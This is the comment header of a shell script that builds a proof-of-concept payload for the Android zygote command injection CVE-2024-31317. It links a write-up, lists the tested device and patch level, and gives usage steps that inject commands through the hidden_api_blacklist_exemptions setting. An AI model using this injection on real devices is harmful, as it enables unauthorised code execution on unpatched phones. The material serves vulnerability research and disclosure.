This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# PoC prepares the payload of commands to execute through the zygote injection CVE-2024-31317: | |
# https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html | |
# | |
# Tested on honor-magic-v2_ver-n49; Build 7.2.0.108(C636E1R2P2); Sec patch Dec 1, 2023 | |
# | |
# USAGE (android 13, with pre-13 use 12200 instead of 32768) | |
# host$ adb push payload.sh /sdcard/ | |
# host$ adb shell | |
# shell$ settings put global hidden_api_blacklist_exemptions "$(sh /sdcard/payload.sh 8192 32768 sh -c 'sleep 200')" |